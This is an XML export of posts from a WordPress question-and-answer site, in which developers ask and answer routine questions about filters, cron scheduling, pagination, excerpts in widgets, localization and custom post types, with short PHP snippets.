  <row Id="21790" PostTypeId="2" ParentId="21787" CreationDate="2011-07-02T17:32:15.473" Score="0" ViewCount="" Body="&lt;p&gt;i followed this tutorial: &lt;a href=&quot;http://www.ilovecolors.com.ar/tinymce-plugin-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.ilovecolors.com.ar/tinymce-plugin-wordpress/&lt;/a&gt; also has sample code.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-02T17:32:15.473" />
  <row Id="21791" PostTypeId="1" CreationDate="2011-07-02T17:33:03.930" Score="0" ViewCount="40" Body="&lt;p&gt;I've been experiencing some weirdness when updating a page.  Wordpress seems to append a single character of white space at the end of my titles, whether I ask it to or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed it with a filter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_insert_post_data' , 'post_title_whitespace_hack_handler' , '99' );&#xA;function post_title_whitespace_hack_handler($data, $postarr)&#xA;{&#xA;    $data['post_title'] = trim($data['post_title']);&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm left wondering why this is the case?  Am I doing something wrong, or is this a bug, or what?  I'm running 3.1.4 on IIS.&lt;/p&gt;&#xA;" OwnerUserId="6668" LastActivityDate="2011-07-02T17:33:03.930" Title="White space in the post title" Tags="&lt;filters&gt;&lt;page&gt;&lt;update&gt;" CommentCount="2" />
  <row Id="21792" PostTypeId="2" ParentId="21502" CreationDate="2011-07-02T17:41:56.573" Score="1" ViewCount="" Body="&lt;p&gt;You don't need a plugin for this, a complete cron system is built into wordpress. If you don't do anything, then wordpress is already running a lazy man's cron job. Which means that it's using your page hits to run the cron as close to your schedule as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can choose to disable the lazy man cron job and setup the wp-cron.php file to run every five minutes with a real cron job. Once that's done, then you can do all of your scheduling within wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get started here: &lt;a href=&quot;http://codex.wordpress.org/Category:WP-Cron_Functions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Category:WP-Cron_Functions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;register_activation_hook(__FILE__, 'my_activation');&#xA;add_action('my_hourly_event', 'do_this_hourly');&#xA;&#xA;function my_activation() {&#xA;    wp_schedule_event(time(), 'hourly', 'my_hourly_event');&#xA;}&#xA;&#xA;function do_this_hourly() {&#xA;    // do something every hour&#xA;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-07-02T17:41:56.573" />
  <row Id="21793" PostTypeId="1" AcceptedAnswerId="21807" CreationDate="2011-07-02T17:44:47.710" Score="3" ViewCount="123" Body="&lt;p&gt;In Drupal you have the GUI to create whatever type you want. How about in WP, do I still have to code to create one?&lt;/p&gt;&#xA;" OwnerUserId="6232" LastActivityDate="2011-07-02T21:26:02.903" Title="How does WP custom post types fare compared to Drupal's?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="21794" PostTypeId="1" CreationDate="2011-07-02T17:46:45.593" Score="0" ViewCount="155" Body="&lt;p&gt;For example i've &lt;code&gt;domain.com/about?project=1&lt;/code&gt; but i've permalinks enabled and i'm using thins to generate the pagination &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links#Examples&quot; rel=&quot;nofollow&quot;&gt;paginate_links&lt;/a&gt;. The proble is that the links generated are like this &lt;code&gt;domain.com/about?project=1/page/1&lt;/code&gt; and it breaks everything because the project is taken as &lt;code&gt;1/page/1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way to get &lt;code&gt;domain.com/about/project/1/page/1&lt;/code&gt; in the paginations links? I'm submitting that from a form using get to display the project.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2011-07-03T12:41:12.033" Title="Passing custom args in paginate_links" Tags="&lt;pagination&gt;" AnswerCount="1" />
  <row Id="21795" PostTypeId="1" AcceptedAnswerId="21796" CreationDate="2011-07-02T17:51:31.900" Score="2" ViewCount="39" Body="&lt;p&gt;The text returned by the_excerpt() does not respect my widget format. I couldn't explain it better so I will just show you my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget($args, $options) {&#xA;    extract($args);&#xA;&#xA;    $post_type = $options['post_type'];&#xA;    $num_of_posts = $options['limit'];&#xA;&#xA;    // Create a new instance&#xA;    $second_query = new WP_Query( array(&#xA;                        'post_type' =&amp;gt; &quot;$post_type&quot;,&#xA;                        'posts_per_page' =&amp;gt; &quot;$num_of_posts&quot;,&#xA;                        'post_status' =&amp;gt; 'publish',&#xA;                    ) ); &#xA;&#xA;    // The Loop&#xA;    if ($second_query-&amp;gt;have_posts()) :&#xA;      while( $second_query-&amp;gt;have_posts() ) : $second_query-&amp;gt;the_post();&#xA;          $byh_content .= &quot;&amp;lt;p&amp;gt;&quot; . the_excerpt() . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;      endwhile; else :&#xA;          $byh_content = &quot;&amp;lt;p&amp;gt;No &quot; . $options['post_type'] . &quot;s found.&amp;lt;/p&amp;gt;&quot;;&#xA;    endif;&#xA;    wp_reset_postdata();&#xA;&#xA;    $title = &quot;&amp;lt;h3&amp;gt;&quot; . $options['title'] . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;    $content = $byh_content;&#xA;&#xA;    echo $before_widget.$title.$content.$after_widget;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result isn't what I expected. Here's what it looks like when rendered: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KwfXJ.png&quot; alt=&quot;widget rendered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The title should be at the top. The reason is that, the excerpt isn't where it is supposed to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Ol8XO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2011-07-02T18:00:05.530" LastActivityDate="2011-07-02T18:00:05.530" Title="Broken markup when using the_excerpt() in a widget?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="21796" PostTypeId="2" ParentId="21795" CreationDate="2011-07-02T17:59:25.947" Score="2" ViewCount="" Body="&lt;p&gt;as you are working with strings, you need to use a function which returns the value, instead of echoing it;&#xA;in this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$byh_content .= &quot;&amp;lt;p&amp;gt;&quot; . the_excerpt() . &quot;&amp;lt;/p&amp;gt;&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use &lt;code&gt;get_the_excerpt()&lt;/code&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_excerpt&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_excerpt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-02T17:59:25.947" CommentCount="4" />
  <row Id="21797" PostTypeId="1" AcceptedAnswerId="21800" CreationDate="2011-06-29T03:13:57.440" Score="0" ViewCount="54" Body="&lt;p&gt;Hey guys i recently created a theme. I want to show home.php when a visitor visit home page but all my blog posts are listed in index.php file. Can someone suggest me how to display index.php i tried &lt;a href=&quot;http://www.mysiteurl.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.mysiteurl.com/index.php&lt;/a&gt; but it redirecting me to &lt;a href=&quot;http://www.mysiteurl.com/home.php&quot; rel=&quot;nofollow&quot;&gt;http://www.mysiteurl.com/home.php&lt;/a&gt; Please advise me. Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-02T18:52:28.790" Title="wordpress help needed. How to display both home.php and index.php?" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21798" PostTypeId="1" AcceptedAnswerId="21979" CreationDate="2011-07-02T18:13:19.107" Score="0" ViewCount="82" Body="&lt;p&gt;This question was discussed on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16524/custom-order-of-terms-for-custom-taxonomy-in-admin-and-website&quot;&gt;here&lt;/a&gt; and I believe &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12256/plugin-for-custom-sort-order-for-categories&quot;&gt;here&lt;/a&gt; as well, but I was wondering if anyone knew of any updates to this since then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I currently have a custom taxonomy called 'Days of Week' so I only use seven terms (Monday, Tuesday, Wednesday etc.) but under &lt;code&gt;hiearchical=&amp;gt;true&lt;/code&gt;, WordPress lists them in an alphabetical order instead. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Friday&lt;/li&gt;&#xA;&lt;li&gt;Monday&lt;/li&gt;&#xA;&lt;li&gt;Saturday&lt;/li&gt;&#xA;&lt;li&gt;Sunday&lt;/li&gt;&#xA;&lt;li&gt;Thursday&lt;/li&gt;&#xA;&lt;li&gt;Tuesday&lt;/li&gt;&#xA;&lt;li&gt;Wednesday&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Normally this wouldn't be an issue, but given that some users of the site might find it confusing, I thought I'd ask to see if anyone had any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6684" LastEditorUserId="6684" LastEditorDisplayName="" LastEditDate="2011-07-03T01:41:58.147" LastActivityDate="2011-07-04T23:04:04.013" Title="Sort Custom Taxonomy Terms in admin by custom order" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="21799" PostTypeId="1" CreationDate="2011-07-02T18:47:06.393" Score="0" ViewCount="31" Body="&lt;p&gt;How can I remove the Rich Text box editor in wordpres. I have used remove_meta_box function&#xA;and specifying the boxes ID but i does not work like it does for other core meta boxes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code i tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_rich_box()&#xA;{&#xA;    remove_meta_box('postdivrich', 'client', 'normal');  &#xA;}&#xA;add_action( 'do_meta_boxes', 'remove_rich_box' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the second paratmeter &quot;client&quot; is my custom post type&lt;/p&gt;&#xA;" OwnerUserId="6685" LastActivityDate="2011-07-02T18:57:09.397" Title="How to remove the RichText Meta Box" Tags="&lt;metabox&gt;&lt;remove-filter&gt;" AnswerCount="1" />
  <row Id="21800" PostTypeId="2" ParentId="21797" CreationDate="2011-07-02T18:52:28.790" Score="1" ViewCount="" Body="&lt;p&gt;You're misunderstanding the purpose of &lt;code&gt;home.php&lt;/code&gt;, which is not &lt;em&gt;necessarily&lt;/em&gt; to output the &lt;em&gt;Site Front Page&lt;/em&gt;, but rather to output the &lt;em&gt;Blog Posts Index&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress, the &lt;code&gt;index.php&lt;/code&gt; is simply the &lt;em&gt;default fallback&lt;/em&gt; template file, that is used when no other, more-specific template file is available.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-02T18:52:28.790" />
  <row Id="21801" PostTypeId="2" ParentId="21799" CreationDate="2011-07-02T18:57:09.397" Score="2" ViewCount="" Body="&lt;p&gt;Unfortunately, it's not possible to remove it like a metabox, since it isn't one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a very easy way to get rid of it for a custom post type. If you don't define anything for the &lt;code&gt;'supports'&lt;/code&gt; argument in the registration function, your post type will default to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'supports' =&amp;gt; array( 'title', 'editor' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To stop that, add this to your registration arguments array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'supports' =&amp;gt; array( 'title' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-07-02T18:57:09.397" CommentCount="1" />
  <row Id="21802" PostTypeId="2" ParentId="21794" CreationDate="2011-07-02T19:05:24.083" Score="2" ViewCount="" Body="&lt;p&gt;To add arguments to the links in paginate posts, use the &lt;code&gt;'add_args'&lt;/code&gt; argument in the function. You have to pass the arguments as an associative array. So, to add &lt;code&gt;project=1&lt;/code&gt; to the end of all your links, you would do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;paginate_links(array(&#xA;  'total' =&amp;gt; $wp_query-&amp;gt;max_num_pages,&#xA;  'current' =&amp;gt; (get_query_var('paged') ? get_query_var('paged') : 1),&#xA;  'base' =&amp;gt; 'http://domain.com/about/%_%',&#xA;  'format' =&amp;gt; 'page/%#%',&#xA;  'add_args' =&amp;gt; array( 'project' =&amp;gt; 1 /* or whatever the project number is*/ ),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helped!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get &lt;code&gt;domain.com/about/projects/1/page/1&lt;/code&gt;, you can add a custom permastruct. I'm going to assume &lt;code&gt;about&lt;/code&gt; is a page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse21802_init(){&#xA;  add_rewrite_rule( '([^/]+)/projects/([^/])/?$', 'index.php?pagename=$matches[1]&amp;amp;project=$matches[2]', 'top' );&#xA;  add_rewrite_rule( '([^/]+)/projects/([^/])/page/(/d+)/?$', 'index.php?pagename=$matches[1]&amp;amp;project=$matches[2]&amp;amp;paged=$matches[3]', 'top' );&#xA;}&#xA;add_action( 'init', 'wpse21802_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After adding that code, flush the rewrite rules by going to Settings -&gt; Permalinks.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-07-03T12:41:12.033" LastActivityDate="2011-07-03T12:41:12.033" CommentCount="4" />
  <row Id="21803" PostTypeId="2" ParentId="21549" CreationDate="2011-07-02T19:12:09.513" Score="0" ViewCount="" Body="&lt;p&gt;This might help.&#xA;&lt;a href=&quot;http://h4x3d.com/seo-wordpress-search-with-permalink-structure/&quot; rel=&quot;nofollow&quot;&gt;http://h4x3d.com/seo-wordpress-search-with-permalink-structure/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6687" LastActivityDate="2011-07-02T19:12:09.513" />
  <row Id="21804" PostTypeId="2" ParentId="21793" CreationDate="2011-07-02T19:21:21.127" Score="1" ViewCount="" Body="&lt;p&gt;Not necessarily, you can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI&lt;/a&gt; plugin to create one with a GUI. If it doesn't have to be an actual custom post type, you could also use &lt;a href=&quot;http://wordpress.org/extend/plugins/pods/&quot; rel=&quot;nofollow&quot;&gt;PODS&lt;/a&gt;, which achieves a similar result using a custom object type.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-02T21:26:02.903" LastActivityDate="2011-07-02T21:26:02.903" CommentCount="5" />
  <row Id="21805" PostTypeId="1" AcceptedAnswerId="21810" CreationDate="2011-07-02T19:25:33.550" Score="0" ViewCount="95" Body="&lt;p&gt;I'm trying to setup a function in functions.php that removes an image from the post_content on save. Everything works up until the time I'm trying to save the content, the page just hangs and I get a '500 Internal Server' error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_post_image( $post_ID ){&#xA;&#xA;  // get the post&#xA;  $the_post = get_post($post_ID);&#xA;&#xA;  // get the content of the post&#xA;  $post_content = $the_post-&amp;gt;post_content;&#xA;&#xA;  // replace any images&#xA;  $content = preg_replace(&quot;/&amp;lt;img[^&amp;gt;]+\&amp;gt;/i&quot;, &quot;&quot;, $post_content);&#xA;&#xA;  // save the post&#xA;  $my_post = array();&#xA;  $my_post['ID'] = $post_ID;&#xA;  $my_post['post_content'] = $content;&#xA;&#xA;  // Update the post into the database&#xA;  wp_update_post( $my_post );   &#xA;&#xA;  return $post_ID;&#xA;}&#xA;add_action('save_post', 'remove_post_image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I fear I'm missing something very basic. Can anyone spot something I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Already I see how silly this was setup. I'm having success with the following, but still would like to know if this is the best way? I'm using content_save_pre action...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_post_image( $content ){&#xA;&#xA;  // replace any images&#xA;  $content = preg_replace(&quot;/&amp;lt;img[^&amp;gt;]+\&amp;gt;/i&quot;, &quot;&quot;, $content);&#xA;&#xA;  return $content;&#xA;}&#xA;add_action('content_save_pre', 'remove_post_image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6483" LastEditorUserId="6483" LastEditorDisplayName="" LastEditDate="2011-07-02T19:33:22.593" LastActivityDate="2011-07-02T20:08:05.903" Title="Remove image from post_content on save_post" Tags="&lt;functions&gt;&lt;content&gt;&lt;save-post&gt;" AnswerCount="2" />
  <row Id="21806" PostTypeId="2" ParentId="21805" CreationDate="2011-07-02T19:33:00.690" Score="1" ViewCount="" Body="&lt;p&gt;Your function calls &lt;code&gt;wp_update_post()&lt;/code&gt;, which calls &lt;code&gt;wp_insert_post()&lt;/code&gt; which runs &lt;code&gt;save_post&lt;/code&gt; action, which fires guess what? Your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be better to use something like &lt;code&gt;wp_insert_post_data&lt;/code&gt; which is meant to filter data, rather than &lt;code&gt;save_post&lt;/code&gt; action that is meant to merely indicate that data was already processed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-02T19:33:00.690" CommentCount="2" />
  <row Id="21807" PostTypeId="2" ParentId="21793" CreationDate="2011-07-02T19:39:47.927" Score="7" ViewCount="" Body="&lt;p&gt;Even though there are plugins to register Custom Post Types in WordPress, this is not the way it should be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to core developer Andrew Nacin, Custom Post Types should be implemented (in code) not registered (by clicks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes them more managable and easier to improve and further develop or hack. Also, code versioning is the way it goes.&lt;/p&gt;&#xA;" OwnerUserId="6612" LastActivityDate="2011-07-02T19:39:47.927" CommentCount="2" />
  <row Id="21808" PostTypeId="1" AcceptedAnswerId="21809" CreationDate="2011-07-02T19:43:28.347" Score="1" ViewCount="35" Body="&lt;p&gt;I'm working on a WordPress plugin and want to make sure that all text that is displayed is prepared for localization. I'm having trouble localizing the text that resides inside an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have the following code inside a class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $control_type_default = array(&#xA;    array(&#xA;        'key' =&amp;gt; 'automatic',&#xA;        'value' =&amp;gt; 'Automatic'&#xA;    )&#xA;);&#xA;&#xA;var $control_types = array(&#xA;    array(&#xA;        'key' =&amp;gt; 'manual',&#xA;        'value' =&amp;gt; 'Manual'&#xA;    )&#xA;);&#xA;&#xA;function process_class_vars()&#xA;{&#xA;    // Add default control type value to beginning of control types array&#xA;    $this-&amp;gt;control_types = array_merge($this-&amp;gt;control_type_default, $this-&amp;gt;control_types);&#xA;&#xA;    // Prepare values for localization&#xA;    $temp_array = array();&#xA;    foreach ($this-&amp;gt;control_types as $control_type_array =&amp;gt; $values) &#xA;    {&#xA;        $temp_array[] = array(&#xA;            'key' =&amp;gt; $values['key'],&#xA;            'value' =&amp;gt; __($values['value'], 'my_plugin')&#xA;        );&#xA;    }&#xA;    $this-&amp;gt;control_type = $temp_array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &quot;process_class_vars&quot; function is called by the constructor. As you can see, I am attempting to pass the value in the array through the &lt;code&gt;__()&lt;/code&gt; function (As a side note, I'm doing this with the function &quot;process_class_vars&quot; function instead of when I initially create the arrays because passing that function when I created the arrays initially threw an error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I run this through a .po generator, the &quot;Automatic&quot; and &quot;Manual&quot; string are completely missed. How can these values be processed correctly?&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-02T20:17:01.313" Title="Preparing a string in an array for localization" Tags="&lt;plugin-development&gt;&lt;localization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21809" PostTypeId="2" ParentId="21808" CreationDate="2011-07-02T19:50:01.100" Score="1" ViewCount="" Body="&lt;p&gt;You can't do that, at least not from a GUI translation helper app, because these are set to pick up strings from standard functions like &lt;code&gt;__()&lt;/code&gt;, &lt;code&gt;_e&lt;/code&gt; etc, they can't read variables (including string variables)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $control_types = array(&#xA;    array(&#xA;        'key' =&amp;gt; 'manual',&#xA;        'value' =&amp;gt; __('Manual', 'yourtextdomain')&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if &lt;code&gt;$control_types&lt;/code&gt; is a static variable from a class then you won't be able to assign the return value of a function as it's value. Why not make it a normal variable inside the process_class_vars() method? Or just make it a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function control_types(){&#xA; return&#xA;    array(&#xA;        'manual' =&amp;gt; __('Manual', 'yourtextdomain'),&#xA;        ...&#xA;    )&#xA;);&#xA;&#xA;...&#xA;foreach ($this-&amp;gt;control_types() as $control_type =&amp;gt; $label) &#xA;{&#xA;    // I'm pretty sure you don't need 'key' / and 'value' as key name here either...&#xA;    $temp_array[] = array(&#xA;        'key' =&amp;gt; $control_type,&#xA;        'value' =&amp;gt; $label,&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-02T20:17:01.313" LastActivityDate="2011-07-02T20:17:01.313" CommentCount="5" />
  <row Id="21810" PostTypeId="2" ParentId="21805" CreationDate="2011-07-02T20:08:05.903" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;content_save_pre&lt;/code&gt; would be a much better hook for striping the images and as for setting post thumbnail as post Meta you can use &lt;code&gt;save_post&lt;/code&gt; since the first hook gets fired before post Id is set and you need that for &lt;code&gt;update_post_meta&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-02T20:08:05.903" />
  <row Id="21811" PostTypeId="1" AcceptedAnswerId="21812" CreationDate="2011-07-02T22:26:49.633" Score="0" ViewCount="63" Body="&lt;p&gt;how are you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to using a string query to list tags in array and using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I write this query but dosen't work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags= $wpdb-&amp;gt;query(&quot;SELECT * FROM $wpdb-&amp;gt;term_taxonomy , $wpdb-&amp;gt;term_taxonomy WHERE $wpdb-&amp;gt;term_taxonomy.taxonomy = post_tag&quot;);                    &#xA;&#xA;foreach($tags as $tag){&#xA;echo $tag;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please help me ..&lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-03T00:04:26.787" LastActivityDate="2011-08-06T09:51:53.277" Title="I want a query to list tags" Tags="&lt;tags&gt;" AnswerCount="2" />
  <row Id="21812" PostTypeId="2" ParentId="21811" CreationDate="2011-07-02T22:34:16.737" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;get_terms()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-02T22:34:16.737" CommentCount="6" />
  <row Id="21813" PostTypeId="1" AcceptedAnswerId="21848" CreationDate="2011-07-02T21:20:21.427" Score="2" ViewCount="62" Body="&lt;p&gt;I have read a lot of turorials an even the codex widget API, but can't solve my doubts:  What are the really difference writing WorPress 3.x widget plugins? if there exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this doubt came when trying to create plugin containing an widget I have actived &lt;code&gt;WP_DEBUG&lt;/code&gt; and saw the notice that &lt;code&gt;register_sidebar_widget()&lt;/code&gt; is deprecated and  I should use &lt;code&gt;wp_register_sidebar_widget()&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have changed and now I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Uninitialized string offset: 0&#xA;  in&#xA;  /.../wp-content/plugins/raz/index.php&#xA;  on line 54&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Uninitialized string offset: 0&#xA;  in&#xA;  /.../wp-content/plugins/raz/index.php&#xA;  on line 55&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Uninitialized string offset: 0&#xA;  in&#xA;  /.../wp-content/plugins/raz/index.php&#xA;  on line 55&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// widget to show an iframe containing Brazilian CPTEC weather forecast&#xA;function previsao_tempo_cptec_widget_display($args) {&#xA;&#xA;  // print some HTML for the widget to display here&#xA;  print $args['before_widget'];&#xA;  print $args['before_title'] . &quot;Previsão IN TITLE do Tempo - CPTEC&quot; . $args['after_title'];&#xA;&#xA;  //  print &quot;content of the widget&quot;;&#xA;  print '&amp;lt;center&amp;gt;&amp;lt;!-- Widget Previs&amp;amp;atilde;o de Tempo CPTEC/INPE --&amp;gt;&amp;lt;iframe allowtransparency=&quot;true&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; src=&quot;http://www.cptec.inpe.br/widget/widget.php?p=4599&amp;amp;w=h&amp;amp;c=909090&amp;amp;f=ffffff&quot; height=&quot;200px&quot; width=&quot;215px&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;noscript&amp;gt;Previs&amp;amp;atilde;o de &amp;lt;a href=&quot;http://www.cptec.inpe.br/cidades/tempo/4599&quot;&amp;gt;Santa Maria/RS&amp;lt;/a&amp;gt; oferecido por &amp;lt;a href=&quot;http://www.cptec.inpe.br&quot;&amp;gt;CPTEC/INPE&amp;lt;/a&amp;gt;&amp;lt;/noscript&amp;gt;&amp;lt;!-- Widget Previs&amp;amp;atilde;o de Tempo CPTEC/INPE --&amp;gt;&amp;lt;/center&amp;gt;';&#xA;  print $args['after_widget'];   &#xA;&#xA;}&#xA;&#xA;// Activate the sidebar&#xA;wp_register_sidebar_widget(    &#xA;    'TempoCPTEC_1',  &#xA;    'Previsão de Tempo - CPTEC',     &#xA;    'previsao_tempo_cptec_widget_display',  &#xA;    array(&#xA;        'description' =&amp;gt; &quot;Este  widget mostra a previsão de Tempo  pelo CPTEC - INPE/BR&quot;      &#xA;    ),&#xA;    array(&#xA;    'before_widget' =&amp;gt; '&amp;lt;li&amp;gt;',&#xA;    'after_widget'  =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;    'before_title'  =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle&quot;&amp;gt;',&#xA;    'after_title'   =&amp;gt; '&amp;lt;/h2&amp;gt;'&#xA;    )&#xA;);&#xA;&#xA;&#xA;// Loads the widget&#xA;add_action('widgets_init','previsao_tempo_cptec_widget_display');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other doubt, why this widget is always displayed in the top of my website and in the sidebar&#xA;widgets also?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any incoming handy answer.&lt;/p&gt;&#xA;" OwnerUserId="6691" LastActivityDate="2011-07-03T09:28:43.430" Title="What are the really difference writing WordPress 3.x widget plugins?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="21814" PostTypeId="1" CreationDate="2011-07-02T19:58:45.173" Score="0" ViewCount="60" Body="&lt;p&gt;I've been trying to figure this out for weeks now and can't get it figured out. Ideally I like to filter the activity post by: today, week, month, and year. If anyone could please point me in the right direction, I'd greatly appriciate it. Thanks in advance.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-02T22:38:44.647" Title="Is there a way to filter the buddypress activity stream by date or time?" Tags="&lt;buddypress&gt;" />
